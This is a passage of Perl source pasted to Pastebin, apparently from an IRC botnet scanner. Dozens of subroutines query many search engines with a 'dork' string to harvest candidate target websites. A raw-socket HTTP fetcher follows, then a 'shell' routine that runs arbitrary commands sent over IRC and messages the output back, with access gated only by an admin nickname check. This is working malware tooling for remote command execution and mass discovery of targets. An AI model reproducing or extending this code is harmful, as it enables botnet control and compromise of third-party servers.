  4582. my @list;
  4583. my $key = $_[0];
  4584. for ($b=1; $b<=500; $b+=10) {
  4585. my $search = ("http://websearch.rakuten.co.jp/Web?qt=".&key($key)."&col=OW&lg=all&st=".$b."&svx=101722");
  4586. my $res = search_engine_query($search);
  4587. while ($res =~ m/<a class="sc_result result" href=\"http:\/\/(.+?)\"/g) {
  4588. if ($1 !~ /rakuten/){
  4589. my $link = $1;
  4590. my @grep = &links($link);
  4591. push(@list,@grep);
  4592. }
  4593. }
  4594. }
  4595. return @list;
  4596. }
  4597.  
  4598. sub biglobe {
  4599. my $key = $_[0];
  4600. my @list;
  4601. for ($b=1; $b<=500; $b+=10) {
  4602. $num += $num;
  4603. my $search = "http://cgi.search.biglobe.ne.jp/cgi-bin/search_bl_top?start=".$b."&ie=utf8&num=".$num."&q=".&key($key)."&lr=all";
  4604. my $res = search_engine_query($search);
  4605. while ( $res =~ m/<a href=\"http:\/\/(.+?)\"/g ) {
  4606. if ($1 !~ /biglobe/){
  4607. my $link = $1;
  4608. my @grep = &links($link);
  4609. push(@list,@grep);
  4610. }
  4611. }
  4612. }
  4613. return @list;
  4614. }
  4615.  
  4616. sub nova() {
  4617. my @list;
  4618. my $key = $_[0];
  4619. for ($b=1; $b<=500; $b+=10) {
  4620. $num += $num;
  4621. my $search = ("http://nova.rambler.ru/srch?query=".&key($key)."&page=".$b."&start=".$num);
  4622. my $res = search_engine_query($search);
  4623. while ($res =~ m/<a href=\"http:\/\/(.+?)\"/g) {
  4624. if ($1 !~ /rambler|cache/){
  4625. my $link = $1;
  4626. my @grep = &links($link);
  4627. push(@list,@grep);
  4628. }
  4629. }
  4630. }
  4631. return @list;
  4632. }
  4633.  
  4634. sub najdi() {
  4635. my @list;
  4636. my $key = $_[0];
  4637. for ($b=1; $b<=500; $b+=10) {
  4638. $num += $num;
  4639. my $search = ("http://www.najdi.si/search.jsp?q=".&key($key)."&o=".$b."&maxHitsPerGroup=".$num);
  4640. my $res = search_engine_query($search);
  4641. while ($res =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g) {
  4642. if ($1 !~ /najdi|cache/){
  4643. my $link = $1;
  4644. my @grep = &links($link);
  4645. push(@list,@grep);
  4646. }
  4647. }
  4648. }
  4649. return @list;
  4650. }
  4651.  
  4652. sub goo() {
  4653. my @list;
  4654. my $key = $_[0];
  4655. for ($b=1; $b<=500; $b+=10) {
  4656. my $search = ("http://search.goo.ne.jp/web.jsp?STYPE=web&OE=UTF-8&MT=".&key($key)."&IE=UTF-8&FR=".$b."&from=pager");
  4657. my $res = search_engine_query($search);
  4658. while ($res =~ m/<a href=\"http:\/\/(.+?)\" onclick/g) {
  4659. if ($1 !~ /goo/){
  4660. my $link = $1;
  4661. my @grep = &links($link);
  4662. push(@list,@grep);
  4663. }
  4664. }
  4665. }
  4666. return @list;
  4667. }
  4668.  
  4669. sub uksubmit() {
  4670. my @list;
  4671. my $key = $_[0];
  4672. for ($b=1; $b<=500; $b+=10) {
  4673. my $search = ("http://www.uksubmit.co.uk/index.php?query=".&key($key)."&searchType=Web&page=".$b);
  4674. my $res = search_engine_query($search);
  4675. while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
  4676. if ($1 !~ /uksubmit/){
  4677. my $link = $1;
  4678. my @grep = &links($link);
  4679. push(@list,@grep);
  4680. }
  4681. }
  4682. }
  4683. return @list;
  4684. }
  4685.  
  4686. sub excite() {
  4687. my @list;
  4688. my $key = $_[0];
  4689. for ($b=1; $b<=500; $b+=10) {
  4690. $num += $num;
  4691. my $search = ("http://msxml.excite.com/excite/ws/results/Web/".$key."/".$b."/0/0/Relevance/zoom=off/qi=".$num."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
  4692. my $res = search_engine_query($search);
  4693. while ($res =~ m/status='http:\/\/(.*?)';/g) {
  4694. if ($1 !~ /excite|google|Yahoo/){
  4695. my $link = $1;
  4696. my @grep = &links($link);
  4697. push(@list,@grep);
  4698. }
  4699. }
  4700. }
  4701. return @list;
  4702. }
  4703.  
  4704. sub amidalla(){
  4705. my @list;
  4706. my $key = $_[0];
  4707. my $b = 0;
  4708. for ($b=0; $b<=100; $b+=10){
  4709. my $web=("http://www.amidalla.de/cgi-bin/amisearch.cgi?search=".&key($key)."&page=".$b."&break=10&af=2&tld=com&et=2");
  4710. my $Res=search_engine_query($web);
  4711. while ($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
  4712. if ($1 !~ /amidalla/){
  4713. my $k=$1;
  4714. my @grep=links($k);
  4715. push(@list,@grep);
  4716. }
  4717. }
  4718. }
  4719. return @list;
  4720. }
  4721.  
  4722. sub buscar() {
  4723. my @list;
  4724. my $key = $_[0];
  4725. for (my $b=1; $b<=1000; $b+=10){
  4726. my $search = ("http://buscar.ozu.es/index.php?etq=web&q=".&key($key)."&pag=".$b);
  4727. my $res = search_engine_query($search);
  4728. while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  4729. my $link = $1;
  4730. if ($link !~ /buscar/){
  4731. $link =~ s/<//g;
  4732. $link =~ s/ //g;
  4733. my @grep = links($link);
  4734. push(@list,@grep);
  4735. }
  4736. }
  4737. }
  4738. return @list;
  4739. }
  4740.  
  4741. sub sogou() {
  4742. my @list;
  4743. my $key = $_[0];
  4744. for (my $b=1; $b<=1000; $b+=10){
  4745. my $search = ("http://www.sogou.com/web?query=".&key($key)."&page=".$b."&p=40040100&dp=1&w=01019900&dr=1&_asf=www.sogou.com&_ast=1313253760");
  4746. my $res = search_engine_query($search);
  4747. while ($res =~ m/<a name="dttl" target="_blank" href="http:\/\/(.*?)\"/g) {
  4748. my $link = $1;
  4749. if ($link !~ /sogou/){
  4750. my @grep = links($link);
  4751. push(@list,@grep);
  4752. }
  4753. }
  4754. }
  4755. return @list;
  4756. }
  4757.  
  4758. sub interia() {
  4759. my @list;
  4760. my $key = $_[0];
  4761. for ($b = 0;$b<= 100; $b+= 10) {
  4762. my $search = ( "http://www.google.interia.pl/szukaj?q=".&key($key)."&s=szukaj&w=sw&szukaj=&p=".$b);
  4763. my $res = search_engine_query($search);
  4764. while ($res =~ m/text-decoration: none;\">http:\/\/(.+?)\/(.*)<\/a>/g) {
  4765. my $link = $1;
  4766. if ($link!~ /google|interia/) {
  4767. my @grep=links($link);
  4768. push(@list,@grep);
  4769. }
  4770. }
  4771. }
  4772. return @list;
  4773. }
  4774.  
  4775. sub snz() {
  4776. my @list;
  4777. my $key = $_[0];
  4778. for (my $b=1; $b<=1000; $b+=100) {
  4779. my $search = ("http://searchnz.co.nz/search.aspx?q=".&key($key)."&np=".$b);
  4780. my $res = search_engine_query($search);
  4781. while ($res =~ m/<a href=\"?http:\/\/(.+?)\//g) {
  4782. my $link = $1;
  4783. if ($link!~ /searchnz/){
  4784. my @grep = links($link);
  4785. push(@list,@grep);
  4786. }
  4787. }
  4788. }
  4789. return @list;
  4790. }
  4791.  
  4792. sub yandex(){
  4793. my @list;
  4794. my $key = $_[0];
  4795. for ($b=0; $b<=50; $b+=10){
  4796. my $search=("http://yandex.ru/yandsearch?p=".$b."&text=".&key($key)."&lr=84");
  4797. my $res= search_engine_query($search);
  4798. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  4799. my $link = $1;
  4800. if ($link!~ /yandex/ ){
  4801. my @grep = links($link);
  4802. push(@list,@grep);
  4803. }
  4804. }
  4805. }
  4806. return @list;
  4807. }
  4808.  
  4809. sub joeant(){
  4810. my @list;
  4811. my $key = $_[0];
  4812. for ($b=0; $b<=50; $b+=10){
  4813. my $search=("http://www.joeant.com/DIR/search.php?keywords=".&key($key)."&page=".$b."&limit=10");
  4814. my $res= search_engine_query($search);
  4815. while ($res =~ m/<a href=\http:\/\/(.*?)\//g) {
  4816. my $link = $1;
  4817. if ($link!~ /joeant/ ){
  4818. my @grep = links($link);
  4819. push(@list,@grep);
  4820. }
  4821. }
  4822. }
  4823. return @list;
  4824. }
  4825.  
  4826. sub terra(){
  4827. my @list;
  4828. my $key = $_[0];
  4829. for ($b=0; $b<=50; $b+=10){
  4830. my $search=("http://buscador.terra.com/Results.aspx?ca=a&source=Search&query=".$key);
  4831. my $res= search_engine_query($search);
  4832. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  4833. my $link = $1;
  4834. if ($link!~ /terra/ ){
  4835. my @grep = links($link);
  4836. push(@list,@grep);
  4837. }
  4838. }
  4839. }
  4840. return @list;
  4841. }
  4842.  
  4843. sub youdao() {
  4844. my @list;
  4845. my $key = $_[0]; {
  4846. my $search = ("http://www.youdao.com/search?q=".&key($key)."&start=10&ue=utf8&keyfrom=".$b."&lq=".&key($key)."&timesort=0");
  4847. my $res = search_engine_query($search);
  4848. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  4849. if ($1 !~ /youdao/){
  4850. my $link = $1;
  4851. my @grep = &links($link);
  4852. push(@list,@grep);
  4853. }
  4854. }
  4855. }
  4856. return @list;
  4857. }
  4858.  
  4859. sub amfibi() {
  4860. my @list;
  4861. my $key = $_[0]; {
  4862. my $search = ("http://www.amfibi.com/search?query=".&key($key)."&start=".$b);
  4863. my $res = search_engine_query($search);
  4864. while ($res =~ m/href=\"http:\/\/(.*?)\"/g) {
  4865. if ($1 !~ /amfibi|cache/){
  4866. my $link = $1;
  4867. my @grep = &links($link);
  4868. push(@list,@grep);
  4869. }
  4870. }
  4871. }
  4872. return @list;
  4873. }
  4874.  
  4875. sub bigclique() {
  4876. my @list;
  4877. my $key = $_[0];
  4878. for ($b=1; $b<=500; $b+=10) {
  4879. $num += $num;
  4880. my $search = ("http://www.bigclique.com/search.jsp?query=".&key($key)."&hitsPerPage=10&start=".$num."&hitsPerSite=".$b);
  4881. my $res = search_engine_query($search);
  4882. while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
  4883. if ($1 !~ /bigclique|cached/){
  4884. my $link = $1;
  4885. my @grep = &links($link);
  4886. push(@list,@grep);
  4887. }
  4888. }
  4889. }
  4890. return @list;
  4891. }
  4892.  
  4893. sub dancefloor() {
  4894. my @list;
  4895. my $key = $_[0];
  4896. for ($b=1; $b<=500; $b+=10) {
  4897. $num += $num;
  4898. my $search = ("http://www.dancefloorhireuk.co.uk/events/search.php?query=".&key($key)."&start=".$b."&search=1&results=10&type=and&domain=");
  4899. my $res = search_engine_query($search);
  4900. while ($res =~ m/<a href="http:\/\/(.+?)\"/g) {
  4901. if ($1 !~ /dancefloor|query/){
  4902. my $link = $1;
  4903. my @grep = &links($link);
  4904. push(@list,@grep);
  4905. }
  4906. }
  4907. }
  4908. return @list;
  4909. }
  4910.  
  4911. sub goojp() {
  4912. my @list;
  4913. my $key = $_[0];
  4914. for (my $i=0; $i<=1000; $i+=100){
  4915. my $search = ("http://search.goo.ne.jp/web.jsp?mt=".key($key)."&bt_search.x=0&bt_search.y=0&stype=web&sh=".$i."&ie=utf-8&oe=utf-8&from=gootop");
  4916. my $res = search_engine_query($search);
  4917. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  4918. my $link = $1;
  4919. if ($link !~ /goo/){
  4920. my @grep = links($link);
  4921. push(@list,@grep);
  4922. }
  4923. }
  4924. }
  4925. return @list;
  4926. }
  4927.  
  4928. sub latina() {
  4929. my @list;
  4930. my $key = $_[0];
  4931. for (my $i=0; $i<=1000; $i+=100){
  4932. my $search = ("http://www.google.com/webhp?hl=la#hl=la&source=hp&q=".&key($key)."&num=".$i."&filter=100&start=&fp=267768f7e7d8ad1f");
  4933. my $res = &search_engine_query($search);
  4934. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  4935. if ($1 !~ /google latina/){
  4936. my $link = $1;
  4937. my @grep = &links($link);
  4938. push(@list,@grep);
  4939. }
  4940. }
  4941. }
  4942. return @list;
  4943. }
  4944.  
  4945. sub yahoohk(){
  4946. my @list;
  4947. my $key = $_[0];
  4948. my $b = 0;
  4949. for ($b=1; $b<=500; $b+=10) {
  4950. my $search = ("http://hk.search.yahoo.com/search?p=".&key($key)."&b=".$b);
  4951. my $res = &search_engine_query($search);
  4952. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  4953. if ($1 !~ /hk.search.yahoo.com/){
  4954. my $link = $1;
  4955. my @grep = &links($link);
  4956. push(@list,@grep);
  4957. }
  4958. }
  4959. }
  4960. return @list;
  4961. }
  4962.  
  4963. sub setooz() {
  4964. my @lst;
  4965. my $key = $_[0];
  4966. my $i = 0;
  4967. my $pg = 0;
  4968. for ($i=0; $i<=1000; $i+=100) {
  4969. my $hung = ("http://nl.setooz.com/search?query=".key($key)."&lang=nl&start=".$i."&pager.offset=40");
  4970. my $res = search_engine_query($hung);
  4971. while ($res =~ m/<a href=\"http:\/\/([^>\"]*)/g) {
  4972. if ($1 !~ /setooz/){
  4973. my $k = $1;
  4974. my @grep = links($k);
  4975. push( @lst, @grep );
  4976. }
  4977. }
  4978. }
  4979. return @lst;
  4980. }
  4981.  
  4982. sub aubing() {
  4983. my @list;
  4984. my $key = $_[0];
  4985. for (my $i=0; $i<=1000; $i+=100){
  4986. my $search = ("http://www.bing.com/search?q=".key($key)."&go=&qs=n&sk=&form=qblh&filt=".$i);
  4987. my $res = search_engine_query($search);
  4988. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  4989. my $link = $1;
  4990. if ($link !~ /bing/){
  4991. my @grep = links($link);
  4992. push(@list,@grep);
  4993. }
  4994. }
  4995. }
  4996. return @list;
  4997. }
  4998.  
  4999. sub yahoo7(){
  5000. my @list;
  5001. my $key = $_[0];
  5002. my $b = 0;
  5003. for ($b=1; $b<=500; $b+=10) {
  5004. my $search = ("http://au.search.yahoo.com/search?p=".&key($key)."&fr=yfp-t-501&ei=utf-8");
  5005. my $res = &search_engine_query($search);
  5006. while ($res =~ m/http\%3a\/\/(.+?)\"/g) {
  5007. if ($1 !~ /yahoo7/){
  5008. my $link = $1;
  5009. my @grep = &links($link);
  5010. push(@list,@grep);
  5011. }
  5012. }
  5013. }
  5014. return @list;
  5015. }
  5016.  
  5017. sub gooes() {
  5018. my @list;
  5019. my $key = $_[0];
  5020. for (my $i=0; $i<=1000; $i+=100){
  5021. my $search = ("http://www.google.es/search?q=".key($key)."&num=100&filter=0&start=".$i);
  5022. my $res = search_engine_query($search);
  5023. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g) {
  5024. my $link = $1;
  5025. if ($link !~ /google.es/){
  5026. my @grep = links($link);
  5027. push(@list,@grep);
  5028. }
  5029. }
  5030. }
  5031. return @list;
  5032. }
  5033.  
  5034. sub neti(){
  5035. my @lst;
  5036. my $key = $_[0];
  5037. for($b=1;$b<=1000;$b+=20){#20
  5038. my $lyc=("http://www.neti.ee/cgi-bin/otsing?src=web&query=".key($key)."&alates=".$b);
  5039. my $res= search_engine_query($lyc);
  5040. while($res =~ m/<a href=\"http:\/\/([^>\"]*)/g){
  5041. my $k= $1;
  5042. if ($1 !~ /neti/){
  5043. my @grep=links($k);
  5044. push(@lst,@grep);
  5045. }
  5046. }
  5047. }
  5048. return @lst;
  5049. }
  5050.  
  5051. sub doogate(){
  5052. my @list;
  5053. my $key = $_[0];
  5054. my $i = 0;
  5055. for ($i=0; $i<=1000; $i+=100){
  5056. my $web=("http://www.doogate.com/search?q=".key($key)."&start=".$i);
  5057. my $res= search_engine_query($web);
  5058. while ($res =~ m/<a href=\"http:\/\/(.+?)\//g){
  5059. if ($1 !~ /doogate/){
  5060. my $k=$1;
  5061. my @grep=links($k);
  5062. push(@list,@grep);
  5063. }
  5064. }
  5065. }
  5066. return @list;
  5067. }
  5068.  
  5069. sub webwombat(){
  5070. my @lst;
  5071. my $key = $_[0];
  5072. my $i = 0;
  5073. for ($i=0; $i<=1000; $i+=50){
  5074. my $web=("http://s.webwombat.com.au/aus?ix=".key($key)."&ri=".$i."&t=");
  5075. my $res= search_engine_query($web);
  5076. while ($res =~ m/<a href=\"?http:\/\/([^>\"]*)\//g){
  5077. if ($1 !~ /webwombat/){
  5078. my $k=$1;
  5079. my @grep=links($k);
  5080. push(@lst,@grep);
  5081. }
  5082. }
  5083. }
  5084. return @lst;
  5085. }
  5086.  
  5087. sub euroseek() {
  5088. my @list;
  5089. my $key = $_[0];
  5090. for ($b=1; $b<=1000; $b+=100) {
  5091. my $search = "http://euroseek.com/system/search.cgi?mode=internet&start=".$b."&string=".&key($key)."";
  5092. my $link = &search_engine_query($search);
  5093. while ( $link =~ m/http:\/\/(.+?)\//g) {
  5094. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
  5095. }
  5096. }
  5097. return @list;
  5098. }
  5099.  
  5100. sub alltheweb() {
  5101. my @list;
  5102. my $key = $_[0];
  5103. for ($i = 0;$i <= 1000;$i += 100) {
  5104. my $search = ("http://www.alltheweb.com/search?cat=web&_sb_lang=any&hits=500&q=".key($key)."&o=".$i."");
  5105. my $res = &search_engine_query($search);
  5106. while ($res =~ m/http:\/\/(.+?)\//g) {
  5107. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5108. }
  5109. }
  5110. return @list;
  5111. }
  5112.  
  5113. sub mamma(){
  5114. my @list;
  5115. my $key = $_[0];
  5116. for($b=0;$b<=1000;$b+=100){
  5117. my $Th=("http://www.mamma.com/result.php?q=".key($key)."&type=web&p=".$b);
  5118. my $Res=&search_engine_query($Th);
  5119. while($Res =~ m/target=\"_blank\">(.+?)\//g){
  5120. if ($1 !~ /msn|live|google|yahoo/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5121. }
  5122. }
  5123. }
  5124. return @list;
  5125. }
  5126.  
  5127. sub yahoo2() {
  5128. my @list;
  5129. my $key = $_[0];
  5130. my $b = 0;
  5131. my @doms = ("at","au","br","ca","de","es","fr","it","uk");
  5132. foreach my $domain (@doms) { #$dom = $doms[rand(scalar(@doms))];
  5133. for (my $i=1; $i<=1000; $i+=100) {
  5134. my $search = ("http://".$domain.".search.yahoo.com/search?n=100&p=".&key($key)."&b=".$i);
  5135. my $res = &search_engine_query($search);
  5136. while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  5137. if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5138. }
  5139. }
  5140. } return @list;
  5141. }
  5142. }
  5143.  
  5144. sub kvasir() {
  5145. my @list;
  5146. my $key = $_[0];
  5147. for (my $i=10; $i<=1000; $i+=100){
  5148. my $search = ("http://www.kvasir.no/nettsok?offset=".$i."&pageSize=100&q=".&key($key)."");
  5149. my $res = &search_engine_query($search);
  5150. while ($res =~ m/href=\"http:\/\/(.+?)\//g) {
  5151. my $link = $1; if ($link !~ /kvasir/){ $link =~ s/<//g; $link =~ s/ //g; my @grep = links($link); push(@list,@grep);
  5152. }
  5153. }
  5154. }
  5155. return @list;
  5156. }
  5157.  
  5158. sub netsprint(){
  5159. my @list;
  5160. my $key = $_[0];
  5161. for($b=1;$b<=1000;$b+=100){
  5162. my $Th=("http://www.netsprint.pl/serwis/search?q=".key($key)."&rpp=10&pg=".$b."&ff=0&z=1&format=-1");
  5163. my $Res=&search_engine_query($Th);
  5164. while($Res =~ m/target=\"_blank\" href=\"http:\/\/(.+?)\//g){
  5165. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5166. }
  5167. }
  5168. return @list;
  5169. }
  5170.  
  5171. sub lookle(){
  5172. my @list;
  5173. my $key = $_[0];
  5174. for($b=1;$b<=1000;$b+=100){
  5175. my $Th=("http://www.lookle.com/search/index.php?page=search/web&search=".key($key)."&type=web&startpage=".$b);
  5176. my $Res=&search_engine_query($Th);
  5177. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5178. my $link=$1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5179. }
  5180. }
  5181. return @list;
  5182. }
  5183.  
  5184. sub optuszoo(){
  5185. my @list;
  5186. my $key = $_[0];
  5187. for($b=10;$b<=1000;$b+=100){
  5188. my $Th=("http://www.optuszoo.com.au/search?q=".key($key)."&start=".$b."&target=web");
  5189. my $Res=&search_engine_query($Th);
  5190. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5191. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5192. }
  5193. }
  5194. return @list;
  5195. }
  5196.  
  5197. sub search66(){
  5198. my @list;
  5199. my $key = $_[0];
  5200. for($b=10;$b<=1000;$b+=100){
  5201. my $Th=("http://search.search66.com/?query=".key($key)."&start=".$b."&offset=20&lang=ENG");
  5202. my $Res=&search_engine_query($Th);
  5203. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5204. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5205. }
  5206. }
  5207. return @list;
  5208. }
  5209.  
  5210. sub arrama(){
  5211. my @list;
  5212. my $key = $_[0];
  5213. for($b=10;$b<=1000;$b+=100){
  5214. my $Th=("http://www.arrama.com/arama.html?cx=partner-pub-8986600646077390%3A3up8c9-e187&cof=FORID%3A10&ie=UTF-8&q=".key($key)."&sa=Web'de+Ara-Bul&siteurl=www.arrama.com%2F#8".$b."");
  5215. my $Res=&search_engine_query($Th);
  5216. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5217. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5218. }
  5219. }
  5220. return @list;
  5221. }
  5222.  
  5223. sub excitejp(){
  5224. my @list;
  5225. my $key = $_[0];
  5226. for($b=10;$b<=1000;$b+=100){
  5227. my $Th=("http://www.excite.co.jp/search.gw?target=combined&look=excite_jp&Language=&sstype=excite_r&search=".key($key)."&FirstResult=".$b."");
  5228. my $Res=&search_engine_query($Th);
  5229. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5230. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5231. }
  5232. }
  5233. return @list;
  5234. }
  5235.  
  5236. sub clix(){
  5237. my @list;
  5238. my $key = $_[0];
  5239. for($b=1;$b<=1000;$b+=100){
  5240. my $Th=("http://pesquisa.clix.pt/resultado.html?question=".key($key)."&in=Mundial&num=25&ckWhere=Mundo&position=".$b."");
  5241. my $Res=&search_engine_query($Th);
  5242. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5243. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5244. }
  5245. }
  5246. return @list;
  5247. }
  5248.  
  5249. sub searchch(){
  5250. my @list;
  5251. my $key = $_[0];
  5252. for($b=10;$b<=1000;$b+=100){
  5253. my $Th=("http://web.search.ch/?rank=".$b."&q=".key($key)."");
  5254. my $Res=&search_engine_query($Th);
  5255. while($Res =~ m/href=\"http:\/\/(.+?)\//g){
  5256. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5257. }
  5258. }
  5259. return @list;
  5260. }
  5261.  
  5262. sub cada(){
  5263. my @list;
  5264. my $key = $_[0];
  5265. for($b=10;$b<=1000;$b+=100){
  5266. my $Th=("http://cade.search.yahoo.com/search;_ylt=A0geu8ny1rRO8gQADw7b7Qt.?p=".key($key)."&fr=sfp&xargs=0&pstart=1&b=".$b);
  5267. my $Res=&search_engine_query($Th);
  5268. while($Res =~ m/<a href=\"http:\/\/(.+?)\//g){
  5269. my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  5270. }
  5271. }
  5272. return @list;
  5273. }
  5274.  
  5275. sub bypass() {
  5276. my @list;
  5277. my $key = $_[0];
  5278. my $search = ($bypass."?key=".&key($key));
  5279. my $res = search_engine_query($search);
  5280. while ($res =~ m/<a href=\"http:\/\/(.*?)\">/g) {
  5281. if ($1 !~ /google/){
  5282. my $link = $1;
  5283. my @grep = &links($link);
  5284. push(@list,@grep);
  5285. }
  5286. }
  5287. return @list;
  5288. }
  5289.  
  5290. #########################################
  5291.  
  5292. sub clean() {
  5293. my @cln = ();
  5294. my %visit = ();
  5295. foreach my $element (@_) {
  5296. $element =~ s/\/+/\//g;
  5297. next if $visit{$element}++;
  5298. push @cln, $element;
  5299. }
  5300. return @cln;
  5301. }
  5302.  
  5303. sub key() {
  5304. my $dork = $_[0];
  5305. $dork =~ s/ /\+/g;
  5306. $dork =~ s/:/\%3A/g;
  5307. $dork =~ s/\//\%2F/g;
  5308. $dork =~ s/\?/\%3F/g;
  5309. $dork =~ s/&/\%26/g;
  5310. $dork =~ s/\"/\%22/g;
  5311. $dork =~ s/,/\%2C/g;
  5312. $dork =~ s/\\/\%5C/g;
  5313. $dork =~ s/@/\%40/g;
  5314. $dork =~ s/\[/\%5B/g;
  5315. $dork =~ s/\]/\%5D/g;
  5316. $dork =~ s/\?/\%3F/g;
  5317. $dork =~ s/\=/\%3D/g;
  5318. $dork =~ s/\|/\%7C/g;
  5319. return $dork;
  5320. }
  5321.  
  5322. sub links() {
  5323. my @list;
  5324. my $link = $_[0];
  5325. my $host = $_[0];
  5326. my $hdir = $_[0];
  5327. $hdir =~ s/(.*)\/[^\/]*$/$1/;
  5328. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  5329. $host .= "/";
  5330. $link .= "/";
  5331. $hdir .= "/";
  5332. $host =~ s/\/\//\//g;
  5333. $hdir =~ s/\/\//\//g;
  5334. $link =~ s/\/\//\//g;
  5335. push(@list,$link,$host,$hdir);
  5336. return @list;
  5337. }
  5338.  
  5339. sub search_engine_query($) {
  5340. my $url = $_[0];
  5341. $url =~ s/http:\/\///;
  5342. my $host = $url;
  5343. my $query = $url;
  5344. my $page = "";
  5345. $host =~ s/href=\"?http:\/\///;
  5346. $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  5347. $query =~ s/$host//;
  5348. if ($query eq "") { $query = "/"; }
  5349. eval {
  5350. my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  5351. print $sock "GET $query HTTP/1.0\r\nHost: $host\r\nAccept: */*\r\nUser-Agent: $uagent\r\n\r\n";
  5352. my @pages = <$sock>;
  5353. $page = "@pages";
  5354. close($sock);
  5355. };
  5356. return $page;
  5357. }
  5358.  
  5359. #########################################
  5360.  
  5361. sub shell() {
  5362. my $path = $_[0];
  5363. my $cmd = $_[1];
  5364. if ($cmd =~ /cd (.*)/) {
  5365. chdir("$1") || &msg("$path","0,1No such file or directory");
  5366. return;
  5367. }
  5368. elsif ($pid = fork) { waitpid($pid, 0); }
  5369. else { if (fork) { exit; } else {
  5370. my @output = `$cmd 2>&1 3>&1`;
  5371. my $c = 0;
  5372. foreach my $output (@output) {
  5373. $c++;
  5374. chop $output;
  5375. &msg("$path","$output");
  5376. if ($c == 5) { $c = 0; sleep 2; }
  5377. }
  5378. exit;
  5379. }}
  5380. }
  5381.  
  5382. sub isAdmin() {
  5383. my $status = 0;
  5384. my $nick = $_[0];
  5385. if ($nick eq $admin) { $status = 1; }
  5386. return $status;
  5387. }
  5388.  
  5389. sub msg() {
  5390. return unless $#_ == 1;
  5391. sendraw($IRC_cur_socket, "PRIVMSG $_[0] :$_[1]");
  5392. }
  5393.  
  5394. sub nick() {
  5395. return unless $#_ == 0;
  5396. sendraw("NICK $_[0]");
  5397. }
  5398.  
  5399. sub notice() {
  5400. return unless $#_ == 1;
  5401. sendraw("NOTICE $_[0] :$_[1]");
  5402. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!